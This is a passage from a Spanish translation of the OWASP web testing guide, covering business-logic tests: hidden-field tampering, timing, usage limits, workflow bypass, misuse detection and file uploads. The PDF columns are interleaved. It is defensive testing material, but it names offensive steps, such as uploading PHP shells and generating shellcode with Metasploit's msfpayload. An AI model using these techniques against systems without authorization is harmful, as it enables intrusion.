desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de
penetración. ZAP ofrece escáneres automatizados, así como un conjunto de
herramientas que permiten encontrar las vulnerabilidades de seguridad
Método de prueba específica 1: manualmente.
• Utilizando un proxy de intercepción, observe las solicitudes POST/GET Referencias

de HTTP, busque algún indicio de que los valores están incrementando en
intervalos regulares o son fáciles de adivinar. Cross Site Request Forgery - Legitimizing Forged Requests:
fragilesecurity.blogspot.com

283
Easter egg: en.wikipedia.org
La aplicación debe ser lo suficientemente inteligente como para comprobar

las ediciones relacionales que no permitan a los usuarios enviar
Top 10 Software Easter Eggs: lifehacker.com información sin validar directamente al servidor, sólo porque vino desde
controles no editables o que el usuario no está autorizado a enviar desde la
sección frontal.
Remediación
La aplicación debe ser lo suficientemente inteligente y diseñada con una Ejemplo

lógica del negocio que evite que los atacantes puedan predecir y manipular
los parámetros para subvertir el flujo de programación, la lógica del Ejemplo 1
negocio o explotar una funcionalidad oculta/no documentada como la
depuración. Imagine una aplicación GUI del tipo ASP.NET que sólo permite al usuario
administrador cambiar la contraseña de otros usuarios en el sistema. El
usuario administrador verá los campos nombre de usuario y contraseña para
ingresar un nombre de usuario y contraseña mientras que otros usuarios no
Prueba de comprobación de integridad (OTG-BUSLOGIC-003) verán ninguno de estos campos. Sin embargo, si un usuario no
administrador presenta información en el campo nombre de usuario y
Resumen contraseña a través de un proxy , pueden ser capaces de "engañar" al
servidor haciéndole creer que la solicitud proviene de un usuario
Muchas aplicaciones están diseñadas para mostrar diferentes campos, administrador y así cambiar la contraseña de otros usuarios.
dependiendo del usuario en cada situación y dejando algunas entradas
ocultas. Sin embargo, en muchos casos es posible enviar valores de campo
oculto al servidor utilizando un proxy. En estos casos, los controles del lado
del servidor deben ser lo suficientemente inteligentes como para llevar a Ejemplo 2
cabo ediciones relacionales o del lado del servidor para garantizar que los
datos adecuados se ingresan al servidor basado en la lógica del negocio La mayoría de las aplicaciones web tiene listas desplegables, lo que permite
específico del usuario y la aplicación. al usuario seleccionar rápidamente su estado, mes de nacimiento, etc..
Supongamos que una aplicación de gestión de proyectos permite a los
usuarios iniciar una sesión y, dependiendo de sus privilegios, les presenta
una lista desplegable de proyectos a los que tienen acceso.
Además, la aplicación no debe depender de controles no editables, menús
desplegables o campos ocultos para el procesamiento de la lógica del
negocio porque estos campos son no-editables sólo en el contexto de los
navegadores. Los usuarios pueden ser capaces de modificar sus valores ¿Qué pasaría si un atacante encuentra el nombre de otro proyecto al que no
usando herramientas de edición proxy y tratar de manipular la lógica de debería tener acceso y envía la información a través de un proxy? ¿La
negocio. aplicación le dará acceso al proyecto? No deberían tener acceso a pesar de
haber evadido algún control de autorización de la lógica del negocio.
Si la aplicación expone valores relacionados a las reglas del negocio, como

cantidad, etc., como campos no editables, se debe mantener una copia en el Ejemplo 3
servidor y usar el mismo para el procesamiento de la lógica del negocio. Por
último, además de los datos de la aplicación/sistema, los sistemas de Supongamos que el sistema de administración de vehículos a motor
registro deben asegurarse para evitar la lectura, escritura y actualización. requiere que un empleado verifique al inicio toda la información y
documentación de los ciudadanos cuando emiten una identificación o
licencia de conducir.
La comprobación de vulnerabilidades de la integridad de la lógica del

negocio son únicas, ya que estos casos de mal uso son específicos de cada
aplicación y si los usuarios son capaces de hacer cambios, solo se debería En este punto, el proceso del negocio ha creado datos con un alto nivel de
poder escribir, actualizar o modificar artefactos específicos en momentos integridad, ya que la integridad de los datos se comprueba mediante la
determinados por el proceso de la lógica del negocio. aplicación. Ahora, supongamos que la aplicación se mueve al internet para
que los empleados puedan iniciar una sesión con acceso al servicio
completo o los ciudadanos puedan conectarse con un acceso reducido a la
aplicación de autoservicio para actualizar cierta información. En este punto,

284
un atacante puede usar un proxy interceptor para agregar o actualizar datos Método de prueba específica 2
a los que no debería tener acceso y podría destruir la integridad de los datos
indicando que el ciudadano no estaba casado, pero suministrando los datos • Usando un proxy, capture cualquier tráfico HTTP en busca de un lugar
para el nombre de un cónyuge. Este tipo de inserción o actualización de para insertar información en las áreas de la aplicación que no son editables.
datos no verificados destruye la integridad de los datos y podría haberse
evitado si se seguía la lógica del proceso del negocio.
•Si los encuentra, vea cómo este campo se compara con la aplicación GUI e
interrogue a este valor mediante el proxy, presentando diferentes valores,
Ejemplo 4 tratando de eludir los procesos del negocio y manipulando los valores a los
que no debería tener acceso..
Muchos sistemas incluyen registros para el propósito de auditoría y
solución de problemas. Pero, ¿qué tan buena/válida es la información de
estos registros? ¿Pueden ser manipulados por los atacantes intencional o
accidentalmente, destruyendo su integridad? Método de prueba específica 3
• Liste los componentes de la aplicación o sistema que pueden ser editados,

por ejemplo, registros o bases de datos.
Cómo probar
Método de prueba genérica

•En cada componente identificado, tratar de leer, editar o eliminar su
• Revise la documentación del proyecto y utilice una prueba exploratoria en información. Por ejemplo, los archivos de registro deben identificarse y los
busca de piezas de la aplicación/sistema (componentes, por ejemplo, los evaluadores deben tratar de manipular la información que recogen.
campos de entrada, las bases de datos o registros) que mueven, almacenan o
manejan datos/información.
Casos de prueba relacionados
• Para cada componente identificado, determine qué tipo de Todos los casos de prueba de validación de ingresos.
datos/información son lógicamente aceptables y de qué tipo de
aplicación/sistema debe protegerse. Tome en cuenta también quién, según la
lógica del negocio, tiene autorización para insertar, actualizar y eliminar
datos/información y en qué componente. Herramientas
• Varias herramientas del sistema/aplicación como editores y herramientas

de manipulación de archivos.
• Intente insertar, actualizar, editar o borrar los valores de la información
con datos no válidos en cada componente (es decir, entrada, base de datos o .
registro) para los usuarios que no deben tener permiso en el flujo de trabajo
de la lógica del negocio.
• OWASP Zed Attack Proxy (ZAP): owasp.org
Método de prueba específica 1
• Usando una proxy capture cualquier tráfico de HTTP en búsqueda de ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para
campos ocultos. encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por
personas con amplia experiencia en seguridad y, como tal, es ideal para
desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de
penetración. ZAP ofrece escáneres automatizados, así como un conjunto de
• Si encuentra un campo oculto, vea cómo este campo se compara con la herramientas que permiten encontrar las vulnerabilidades de seguridad
aplicación GUI e interrogue a este valor mediante el proxy, presentando manualmente..
diferentes valores, tratando de eludir los procesos del negocio y
manipulando los valores a los que no debería tener acceso.
Referencias

285
• Implementing Referential Integrity and Shared Business Logic in a RDB: acuerdo a eso, cambiar el comportamiento basado en esa expectativa y
agiledata.org "jugarle al sistema".
• On Rules and Integrity Constraints in Database Systems: comp.nus.edu.sg Ejemplo
Ejemplo 1
• Use referential integrity to enforce basic business rules in Oracle: Los videos de juegos de azar/tragamonedas pueden tardar más tiempo en
techrepublic.com procesar una transacción antes de realizar un desembolso fuerte. Esto
permitiría a los jugadores astutos apostar cantidades mínimas hasta que vean
el tiempo de proceso largo que los haría apostar el máximo.
• Maximizing Business Logic Reuse with Reactive Logic:

architects.dzone.com
Ejemplo 2
• Tamper Evidence Logging - http://tamperevident.cs.rice.eduLogging.html
Muchos procesos de registro de sistema solicitan el nombre de usuario y la
contraseña. Si usted mira de cerca, podrá ver que ingresar un nombre de
usuario y una contraseña no válidos requiere más tiempo para devolver un
Remediación error que ingresar un nombre de usuario válido y una contraseña no válida.
Esto puede permitir al atacante saber si tienen un nombre de usuario válido y
La aplicación debe ser lo suficientemente inteligente como para comprobar no necesitan confiar en el mensaje de GUI.
las ediciones relacionales y no permitir a los usuarios enviar información
directamente al servidor sin que ésta se haya validado, simplemente porque
vino desde controles no editables o porque el usuario no está autorizado a
enviar desde la sección de acceso público. Además, cualquiera de los Ejemplo 3
componentes que se puede editar debe tener mecanismos para prevenir la
escritura o actualización accidental/intencional. La mayoría de arenas o agencias de viajes tienen aplicaciones que permiten a
los usuarios comprar boletos y reservar asientos. Cuando el usuario solicita
los boletos, los asientos se bloquean o reservan quedando pendientes de
pago. ¿Qué pasaría si un atacante sigue reservando asientos, pero no sale del
Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004) sistema? ¿Se liberarán los asientos, o no se venderán los boletos? Algunos
proveedores de boletos ahora sólo permiten a los usuarios tomarse cinco
Resumen minutos para completar una transacción o se invalida la transacción.
Es posible que los atacantes puedan recopilar información sobre una

aplicación controlando el tiempo que le toma para completar una tarea o dar
una respuesta. Además, los atacantes pueden ser capaces de manipular y Ejemplo 4
quebrar los flujos de procesos del negocio diseñados, simplemente
manteniendo las sesiones activas y no enviando sus transacciones en el Supongamos que un sitio de comercio electrónico de metales preciosos
tiempo "esperado". permite a los usuarios hacer compras con una cotización del precio basada en
el precio de mercado vigente en el momento que inicia la sesión. ¿Qué
pasaría si un atacante inicia la sesión y realiza un pedido y no completa la
transacción hasta más tarde en el día cuándo el precio de los metales ha
Las vulnerabilidades de la lógica de sincronización de procesos son únicas, subido? ¿El atacante conseguirá el precio bajo inicial?
porque en estos casos manuales de mal uso deben crearse considerando la
ejecución y sincronización de transacciones que son específicas de cada
aplicación/sistema.
Cómo probar
•Revise la documentación del proyecto y utilice pruebas exploratorias en

El tiempo de procesamiento puede dar/fugar información sobre lo que se búsqueda de la funcionalidad del sistema/aplicación que pueda ser afectado
hace en los procesos ocultos del sistema/aplicación. Si una aplicación por el tiempo, como puede ser el tiempo de ejecución o acciones que ayuden
permite a los usuarios adivinar cuál será el siguiente resultado en particular a los usuarios a predecir un resultado futuro o le permitan eludir cualquier
al procesar las variaciones de tiempo, los usuarios podrán ajustar y, de parte de la lógica del negocio o flujo de trabajo. Por ejemplo, no completar
las transacciones en un tiempo esperado.

286
aplicaciones pueden tener un plan de suscripción y sólo permitir a los

usuarios descargar tres documentos completos por mes.
• Desarrolle y ejecute los casos de mal uso ;asegúrese de que los atacantes no
puedan ganar una ventaja basada en cualquier tiempo.
Las vulnerabilidades relacionadas con la prueba de los límites de la función

son de aplicación específica y se deben crear casos de uso indebido que se
Casos de prueba relacionados esfuercen por probar las partes de las aplicaciones/funciones o acciones más
veces de las permitidas.
• Pruebas de los atributos de las cookies (OTG-SESS-002)
Los atacantes pueden ser capaces de eludir la lógica del negocio y ejecutar
• Pruebas del tiempo de cierre de sesión (OTG-SESS-007) una función más veces que las "permitidas" al explotar la aplicación para
obtener beneficios personales.
Referencias
Ejemplo
Ninguna
Supongamos que un sitio de comercio electrónico permite a los usuarios
aprovechar alguno de los muchos descuentos en su compra total y luego
proceder a salir y licitar. ¿Qué sucede si el atacante navega a la página de
Remediación descuentos después de tomar y aplicar el descuento "admisible"? ¿Pueden
tomar ventaja de otro descuento? ¿Pueden tomar ventaja del mismo
Desarrolle aplicaciones con el tiempo de procesamiento en mente. Si los descuento varias veces?
atacantes pueden obtener algún tipo de ventaja al conocer los diferentes
tiempos de procesamiento y los resultados, agregue pasos adicionales para
que, sin importar los resultados, se proporcione el mismo marco de tiempo
de procesamiento. Cómo probar
•Revise la documentación del proyecto y utilice pruebas exploratorias en

busca de funciones o características de la aplicación o sistema que no deban
Además, el sistema/aplicación debe tener mecanismos que no permitan a los ser ejecutadas más de una vez o un número especifico de veces durante el
atacantes extender las operaciones sobre una cantidad "aceptable" de tiempo. flujo de la lógica del negocio.
Esto se puede hacer mediante la cancelación o reinicio de las transacciones
después de un período de tiempo determinado, como algunos vendedores de
boletos están haciéndolo ahora.
•Para cada una de las funciones y características que sólo debe ejecutarse una
vez o un número especifico de veces durante el flujo de la lógica del
negocio, desarrolle casos de abuso/mal uso que pueden permitir a un usuario
Prueba del número de veces que limita el uso de una función (OTG- ejecutar más veces del número permitido. Por ejemplo, ¿un usuario puede
BUSLOGIC-005) navegar hacia atrás y hacia adelante varias veces a través de las páginas y
ejecutar una función que debería ejecutarse sólo una vez? ¿Un usuario puede
Resumen cargar y descargar los carros de compras para obtener descuentos
adicionales?.
Muchos de los problemas que están resolviendo las aplicaciones requieren
límites al número de veces que se puede utilizar una función o se puede
ejecutar una acción. Las aplicaciones deben ser lo "suficientemente
inteligentes" para no permitir que el usuario exceda su límite en el uso de Casos de prueba relacionados
estas funciones ya que, en muchos casos, cada vez que se utiliza la función,
el usuario puede obtener algún tipo de beneficio que debe ser anotado para • Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario
compensar acertamente al propietario. (OTG-IDENT-004)
Por ejemplo: Un sitio de comercio electrónico sólo puede permitir que los • Pruebas para determinar un mecanismo de bloqueo débil (OTG-AUTHN-
usuarios apliquen un descuento una vez por cada transacción, o algunas 003)

287
y se deben desarrollar cuidadosamente casos de mal uso manuales; deben

desarrollarse usando los requisitos y casos de uso.
Referencias
InfoPath Forms Services business logic exceeded the maximum limit of

operations Rule: mpwiki.viacode.com El proceso de negocio de las aplicaciones debe tener controles para asegurar
que las transacciones/acciones del usuario sucedan en el orden
correcto/aceptable y, si una transacción provoca algún tipo de acción, que
esa acción se "deshaga" y se retire si la transacción no se ha completado con
Gold Trading Was Temporarily Halted On The CME This Morning: éxito.
businessinsider.com
Ejemplos
Remediación
Ejemplo 1
La aplicación debe tener controles para asegurar que se sigue la lógica del
negocio y si una función/acción sólo puede ejecutarse un cierto número de Muchos de nosotros recibimos algún tipo de "puntos de club/fidelidad" por
veces y, cuando se alcanza el límite, el usuario no puede ejecutar la función. las compras en supermercados y gasolineras. Supongamos que un usuario
pudo iniciar una transacción vinculada a su cuenta y luego, después de
agregar puntos a su cuenta de club/lealtad, cancela la transacción o quita
elementos de su "canasta" y licita.
Para evitar que los usuarios usen una función más veces de las adecuadas, la
aplicación puede utilizar mecanismos tales como cookies para contabilizar o
mediante sesiones, que no permitan a los usuarios acceder a ejecutar la
función más veces. En este caso, el sistema no debe aplicar puntos/créditos a la cuenta hasta que
se licita o los puntos/créditos deben "deshacerse" si el incremento de
puntos/crédito no coinciden con la oferta final. Con esto en mente, un
atacante puede iniciar transacciones y cancelarlas, para aumentar su nivel de
Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC-006) puntos sin realmente comprar algo.
Resumen
Las vulnerabilidades del flujo de trabajo incluyen cualquier tipo de Ejemplo 2

vulnerabilidad que permite al atacante hacer mal uso de una aplicación o
sistema de una manera que les permita evadir (no seguir) el flujo de trabajo Un sistema de tablero de anuncios electrónicos puede estar diseñado para
diseñado/deseado. garantizar que los mensajes iniciales no contengan groserías sobre la base de
una lista con la que se compara la nota. Si una palabra de la "lista negra" se
encuentra en el texto ingresado por el usuario, la presentación no se publica.
Pero, una vez que se registra la carga, el remitente puede acceder, editar y
“Un flujo de trabajo consiste en una secuencia de pasos conectados, donde cambiar el contenido de la nota para aumentar palabras incluidas en la lista
cada paso sigue sin retraso o diferencia y termina justo antes de que pueda de malas palabras/negra ya que al editar la publicación nunca se compara
empezar el paso siguiente Es una representación de una secuencia de nuevamente. Considerando esto, los atacantes pueden abrir un debate inicial
operaciones, declarada como trabajo de una persona o grupo, una en blanco o mínimo y, luego, añadir lo que quiera como una actualización.
organización de personal o uno o más mecanismos simples o complejos. El
flujo de trabajo puede ser visto como cualquier abstracción del trabajo real.”
(https://en.wikipedia.org/wiki/Workflow) Cómo probar
Método de prueba genérico
La lógica del negocio de la aplicación debe pedir al usuario que complete los •Revise la documentación del proyecto y utilice pruebas exploratorias en
pasos específicos en el orden correcto/específico y si el flujo de trabajo se busca de métodos para saltar o ir a otros pasos en el proceso de la aplicación,
termina sin completarse correctamente, todas las acciones que generó se en un orden diferente del flujo de la lógica del negocio diseñado/esperado.
"deshacen" o cancelan. Las vulnerabilidades relacionadas con la evasión de
los flujos de trabajo o el saltarse el flujo de trabajo de la lógica del negocio
correcto son únicas ya que son muy específicas para cada sistema/aplicación

288
• Para cada método, desarrolle un caso de mal uso y trate de evitar o realizar • Prueba de comprobación de integridad (OTG-BUSLOGIC-003)
una acción que sea "inaceptable" por el flujo de trabajo de la lógica del
negocio.
• Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004)
Método de prueba específico 1
• Inicie una transacción dentro de la aplicación hasta pasar los puntos que • Prueba del número de veces que limita el uso de una función (OTG-
disparan los créditos/puntos hacia la cuenta del usuario. BUSLOGIC-005)
•Cancele la transacción o reduzca la oferta final de manera que los valores • Prueba de las defensas contra el mal uso de la aplicación (OTG-
del punto deban ser disminuidos y compruebe el sistema de puntos/crédito BUSLOGIC-007)
para asegurarse que se registraron los puntos/créditos adecuados.
• Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-

Método de prueba específico 2 BUSLOGIC-008)
• En un administrador de contenidos o sistema de tablero de anuncios, entre y

guarde texto inicial o valores válidos.
• Prueba de la posibilidad de carga de archivos maliciosos (OTG-
BUSLOGIC-009)
• Luego intente añadir, editar y eliminar datos que dejarían a los datos
existentes en un estado inválido o con valores inválidos para asegurar que al
usuario no le esté permitido guardar la información incorrecta. Algunos datos Referencias
o información "no válidos" pueden ser palabras específicas (palabras soeces)
o temas específicos (por ejemplo, cuestiones políticas). • OWASP Detail Misuse Cases: owasp.org
Casos de prueba relacionados • Real-Life Example of a ‘Business Logic Defect:
infosecisland.com
• Probar la inclusión de archivos de directorio de circulación (OTG-AUTHZ-

001)
• Top 10 Business Logic Attack Vectors Attacking and Exploiting Business
Application Assets and Flaws – Vulnerability Detection to Fix:
ntobjectives.com
• Pruebas para eludir el esquema de autorización (OTG-AUTHZ-002)
• CWE-840: Business Logic Errors: cwe.mitre.org

• Pruebas del esquema de gestión de sesión (OTG-SESS-001)
Remediación
• Prueba de la validación de datos de la lógica del negocio (OTG-
BUSLOGIC-001) La aplicación debe ser autoconsciente y tener comprobaciones localizadas
que aseguren que los usuarios completen cada paso del proceso del flujo de
trabajo en el orden correcto y evitar que los atacantes eludan/salten/o repitan
los pasos/procesos del flujo de trabajo. Probar las vulnerabilidades de flujo
• Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002) de trabajo implica el desarrollar casos de abuso/mal uso de la lógica del
negocio con el objetivo de completar el proceso de negocio al no completar
los pasos correctos en el orden correcto.
289
Prueba de las defensas contra el mal uso de la aplicación (OTG- Si la aplicación no responde de ninguna manera y el atacante puede
BUSLOGIC-007) continuar abusando de la funcionalidad y envia contenido claramente
malicioso hacia la aplicación, la aplicación ha fallado este caso de prueba. En
Resumen la práctica, es poco probable que las acciones discretas del ejemplo anterior
sucedan así. Es mucho más probable que una herramienta de fuzzing se
El mal uso y uso no válido de una funcionalidad válida pueden identificar utilice para identificar las debilidades de cada parámetro a la vez. Esto es lo
ataques que trata de enumerar la aplicación web, identificar las debilidades y que un evaluador de seguridad habrá llevado a cabo, también.
explotar vulnerabilidades. Deberían realizarse pruebas para determinar si
existen mecanismos defensivos a nivel de la aplicación para proteger la
aplicación.
Cómo probar
Esta prueba en que el resultado puede obtenerse de todas las pruebas

La falta de defensas activas permite que un atacante cace las realizadas contra la aplicación web es inusual. Al realizar todas las pruebas,
vulnerabilidades sin necesitar de recurrir a ellas. Así, el propietario de la tome nota de las medidas que indiquen que la aplicación tiene un sistema de
aplicación no sabrá que su aplicación está bajo ataque. autodefensa incorporado:
Ejemplo • Respuestas cambiadas
Un usuario autenticado sigue la siguiente secuencia de acciones (poco • Solicitudes bloqueadas

probables):
• Acciones que desconectan al usuario o bloquean la cuenta del usuario
[1] Intenta acceder a un identificador de archivo que su rol de usuario no

permite descargar. Estas sólo pueden ser localizadas. Las defensas comúnmente localizadas
(por función) son:
[2] Sustituye una comilla simple (‘) en lugar del número de identificación del
archivo.
[3] Altera una solicitud GET convirtiéndola en POST. • Rechazar los ingresos que contienen determinados caracteres.
[4] Agrega un parámetro extra. • Bloquear una cuenta temporalmente después de una serie de fallos de
autenticación.
[5] Duplica el parámetro de la pareja nombre/valor.
Los controles de seguridad localizados no son suficientes. Normalmente no

La aplicación supervisa el mal uso y responde después del quinto evento; hay defensas contra el mal uso general tal como:
entonces podríamos decir con certeza que el usuario es un atacante. Por
ejemplo, la aplicación hace lo siguiente: • Navegación forzosa
• Evitar la validación de niveles de entrada de presentación
• Inhabilita la funcionalidad crítica. • Controles de errores de accesos múltiples
• Activa medidas de autenticación adicionales para las funciones restantes. • Parámetros adicionales de nombres, duplicados o faltantes
• Agrega retrasos de tiempo en cada ciclo de petición-respuesta. • Validación de ingresos múltiples o fallas de verificación de la lógica del
negocio con valores que no pueden ser el resultado de errores o faltas
• Comienza a grabar datos adicionales sobre las interacciones del usuario ortográficas del usuario
(por ejemplo encabezados de solicitudes HTTP desinfectados, cuerpos y
cuerpos de respuesta). • Recepción de datos estructurados (por ejemplo, JSON, XML) de un
formato no válido

290
• Se reciben cross-site scripting descarado o cargas de inyecciones SQL
• Utilizar la aplicación más rápido de lo que debería ser posible sin • IR 7684 Common Misuse Scoring System (CMSS), NIST:
herramientas de automatización
csrc.nist.gov
• Cambio en la geo-localización continental de un usuario
• Cambio de agente de usuario

• Common Attack Pattern Enumeration and Classification (CAPEC),The
• Acceso a un proceso de negocios de etapas múltiples en el orden incorrecto Mitre Corporation: capec.mitre.org
• Un gran número o un alto indice de uso de la funcionalidad específica de la

aplicación (por ejemplo: presentación del código del recibo, pagos fallidos
con tarjeta de crédito, carga de archivos, descargas de archivos, registro de • OWASP_AppSensor_Project: owasp.org
salidas, etc.).
• AppSensor Guide v2, OWASP: owasp.org

Estas defensas funcionan mejor en las partes autenticadas de la aplicación,
aunque la tasa de creación de nuevas cuentas o acceso al contenido (por
ejemplo, para raspar información) pueden ser de utilidad en las zonas
comunes. • Watson C, Coates M, Melton J and Groves G, Creating Attack Aware
Software Applications with Real-Time Defenses, CrossTalk The Journal of
Defense Software Engineering, Vol. 24, No. 5, Sep/Oct 2011:
crosstalkonline.org
No todos los casos anteriores deben ser monitoreados por la aplicación, pero
hay un problema si ninguno de ellos lo está. Probando la aplicación web,
haciendo el tipo de acciones anteriores, ¿ hubo alguna respuesta contra el
evaluador? Si no, el evaluador deberá informar que la aplicación parece no Prueba de la posibilidad de carga de tipos de archivos inesperados
tener ninguna aplicación de defensa activa contra el uso indebido. Tenga en (OTG-BUSLOGIC-008)
cuenta que a veces es posible que todas las respuestas sobre la detección de
ataques son silenciosas para el usuario (por ejemplo, cambios del registro, Resumen
mayor monitoreo, alertas a los administradores y uso de proxy), por lo que
no se garantiza la confianza en este hallazgo. En la práctica, muy pocas Muchos procesos del negocio de las aplicaciones permiten la carga y
aplicaciones (o infraestructura relacionada como un cortafuegos de manipulación de datos que se envían por medio de archivos. Pero el proceso
aplicación web) detecta estos tipos de mal uso. del negocio debe comprobar los archivos y permitir sólo los archivos
"aprobados". Decidir qué archivos deben ser "aprobados" se determina
mediante la lógica del negocio y es específico del sistema/aplicación.
Todos los otros casos son relevantes. El riesgo en permitir a los usuarios cargar archivos es que los atacantes
pueden enviar un tipo de archivo inesperado que podría ejecutarse y tener un
impacto adverso sobre la aplicación o sistema a través de ataques que pueden
desfigurar el sitio web, ejecutar comandos remotos, navegar por los archivos
Herramientas del sistema, navegar en los recursos locales, atacar a otros servidores o
explotar las vulnerabilidades locales, sólo para nombrar unos pocos.
El probador puede usar muchas de las herramientas utilizadas para los otros
casos de prueba.
Las vulnerabilidades relacionadas con la carga de los distintos tipos de

archivos inesperados es única, ya que la carga debe rechazar rápidamente un
Referencias archivo si no tiene una extensión específica. Además, esto es diferente de la
carga de archivos maliciosos puesto que, en la mayoría de los casos, un
• Resilient Software, Software Assurance, US Department formato incorrecto puede no ser inherentemente "malévolo" pero puede ser
perjudicial para los datos guardados. Por ejemplo, si una aplicación acepta
Homeland Security: buildsecurityin.us-cert.gov archivos de Excel de Windows, si se carga un archivo de base de datos

291
similar puede leerse, pero los datos extraídos pueden moverse a lugares • En la aplicación, navegue hasta la presentación del archivo o el mecanismo
incorrectos. de carga.
La aplicación puede estar esperando que solamente se carguen ciertos tipos • Envíe los archivos "no aprobados"para cargar y compruebe que se previene
de archivos para su procesamiento, tales como archivos .CSV o txt. La la carga correctamente.
aplicación no puede validar el archivo subido por su extensión (para
validación de archivos de baja seguridad) o contenido (para validación de
archivos de alta seguridad). Esto puede dar lugar a resultados inesperados
por parte del sistema o la base de datos en el sistema/aplicación o dar a los Casos de prueba relacionados
atacantes métodos adicionales para explotar el sistema/aplicación.
• Pruebe el manejo de archivos de extensiones en busca de información
sensible (OTG-CONFIG-003)
Ejemplo • Prueba de la posibilidad de carga de archivos maliciosos (OTG-

BUSLOGIC-009)
Supongamos que una aplicación para compartir imágenes permite a los
usuarios cargar un archivo gráfico .gif o .jpg en el sitio web. ¿Qué pasaría si
un atacante es capaz de subir un archivo html con una etiqueta <script> o un
archivo php? El sistema podría mover el archivo desde una ubicación Referencias
temporal hacia la ubicación final donde ahora puede ejecutarse el código php
contra el sistema o aplicación. • OWASP - Unrestricted File Upload: owasp.org
Cómo probar • File upload security best practices: Block a malicious file
Método de Prueba Genérico upload: computerweekly.com
• Revise la documentación del proyecto y realice algunas pruebas

exploratorias buscando tipos de archivos que deben aparecer como "no
soportados" por el sistema/aplicación. • Stop people uploading malicious PHP files via forms:
stackoverflow.com
• Trate de subir estos archivos "no admitidos" y verifique si son rechazados

correctamente.
• CWE-434: Unrestricted Upload of File with Dangerous Type:
cwe.mitre.org
• Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para
verificar que cada archivo sea evaluado correctamente.
• Secure Programming Tips - Handling File Uploads:
Método de Prueba Específico datasprings.com
• Estudie los requisitos lógicos de la aplicación.
Remediación
• Prepare una biblioteca de archivos "no aprobados" para la carga que puede Las aplicaciones se deben desarrollar con mecanismos para que sólo acepte y
contener archivos tales como: archivos jsp, exe o html que contienen scripts. manipule archivos "aceptables" que el resto de funcionalidades de la
aplicación estén listas y esperando. Algunos ejemplos específicos incluyen:
listas negras o blancas de extensiones de archivo, utilizando el "Content-
Type" del encabezado o usando un reconocedor de tipo de archivo, todo esto
sólo permitir tipos de archivo específicos en el sistema.

292
• Revise la documentación del proyecto y realice algunas pruebas

exploratorias mirando el sistema/aplicación para identificar lo que constituye
Prueba de la posibilidad de carga de archivos maliciosos (OTG- un archivo "malicioso" en su entorno.
BUSLOGIC-009)
Resumen
• Desarrolle o consiga un archivo "malicioso" conocido.
Bastantes procesos de negocio dentro de muchas aplicaciones permiten la
carga de información. Regularmente verificamos la validez y seguridad del
texto, pero el aceptar archivos puede implicar aún más riesgo. Para reducir el
riesgo sólo podemos aceptar determinadas extensiones de archivo, pero los • Trate de cargar el archivo malicioso al sistema/aplicación y verifique si se
atacantes son capaces de encapsular un código malicioso en tipos de archivo lo rechaza correctamente.
inerte. Probar en busca de archivos maliciosos verifica que el
sistema/aplicación es capaz de protegerse correctamente contra la carga de
archivos maliciosos por parte de los atacantes.
• Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para
verificar que cada archivo sea evaluado correctamente.
Las vulnerabilidades relacionadas con la carga de archivos maliciosos son

únicas; en ellas, estos archivos "maliciosos" pueden ser rechazados
fácilmente mediante la inclusión de una lógica del negocio que analiza los Método de Prueba Específico1
archivos durante el proceso de carga y rechaza aquellos percibidos como
maliciosos. Adicionalmente, esto difiere de la carga de archivos inesperados • Utilizando la funcionalidad de carga Metasploit,genere un shellcode similar
en que, mientras el tipo de archivo puede ser aceptado, el archivo todavía a un ejecutable de Windows; utilice el comando Metasploit “msfpayload”.
puede ser malicioso para el sistema. Por último, "malicioso" tiene distintos
significados según el sistema. Por ejemplo, archivos maliciosos que pueden
explotar vulnerabilidades del servidor SQL pueden no ser considerados "
maliciosos" en un entorno de archivos planos del procesador central. • Envíe el ejecutable mediante la funcionalidad para cargar la aplicación y
compruebe si es aceptada o se previene la carga correctamente.
La aplicación puede permitir la carga de archivos maliciosos que incluyen

explotaciones o shellcode sin someterlos a un análisis de archivos Método de Prueba Específico 2
maliciosos. Los archivos maliciosos pueden detectarse y detenerse en varios
• Desarrolle o cree un archivo que debe fallar en el proceso de detección de
puntos de la arquitectura de la aplicación, tales como: IPS/IDS, software
malware de la aplicación. Hay muchos disponibles en Internet tales como
antivirus para servidor de aplicaciones o análisis antivirus por cada
ducklin.htm o ducklin-html.htm.
aplicación, a medida que se cargan los archivos (tal vez descargando el
análisis mediante SCAP).
• Envíe el ejecutable mediante la funcionalidad para cargar la aplicación y

compruebe si es aceptada o se previene la carga correctamente.
Ejemplo
Supongamos que una aplicación para compartir imágenes permite a los

usuarios cargar un archivo gráfico .gif o .jpg en el sitio web. ¿Qué pasaría si
Método de prueba específico 3
un atacante es capaz de subir un PHP shell, o archivo exe o virus? El
atacante entonces podría cargar un archivo que puede ser guardado en el
• Configure el proxy interceptor para que capture la solicitud “válida” de un
sistema y el virus se puede reproducir por sí mismo o a través de procesos
archivo aceptado.
remotos, y archivos .exe o shell code puede ejecutarse.
• Envíe una solicitud “inválida” mediante una extensión de archivo

Cómo probar
válido/aceptable y observe si la solicitud es aceptada o rechazada
adecuadamente.
Método de prueba Genérico

293
infosecauditor.wordpress.com
• Pruebe el Manejo de Archivos de Extensiones en busca de información

sensible (OTG-CONFIG-003)
• Watchful File Upload: palizine.plynt.com
• Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-
BUSLOGIC-008)
• Matasploit Generating Payloads: offensive-security.com
Herramientas
• Metasploit’s payload generation functionality • Project Shellcode - Shellcode Tutorial 9: Generating
Shellcode Using Metasploit: projectshellcode.com
• Intercepting proxy
• Anti-Malware Test file: eicar.org
Referencias
• OWASP - Unrestricted File Upload: owasp.org Remediación
Aunque las salvaguardias como las listas negra o blanca de las extensiones
de archivo, que utilizan el "Content-Type" como encabezado o que usan un
• Why File Upload Forms are a Major Security Threat: reconocedor de tipo de archivo no sean siempre protecciones contra este tipo
de vulnerabilidad, cada aplicación que acepta archivos de usuarios debe tener
www.acunetix.com un mecanismo para verificar que el archivo no contiene un código malicioso.
Nunca deben guardarse archivos donde los usuarios o los atacantes pueden
acceder directamente a ellos.
• File upload security best practices: Block a malicious file upload:
computerweekly.com Probando el lado del cliente
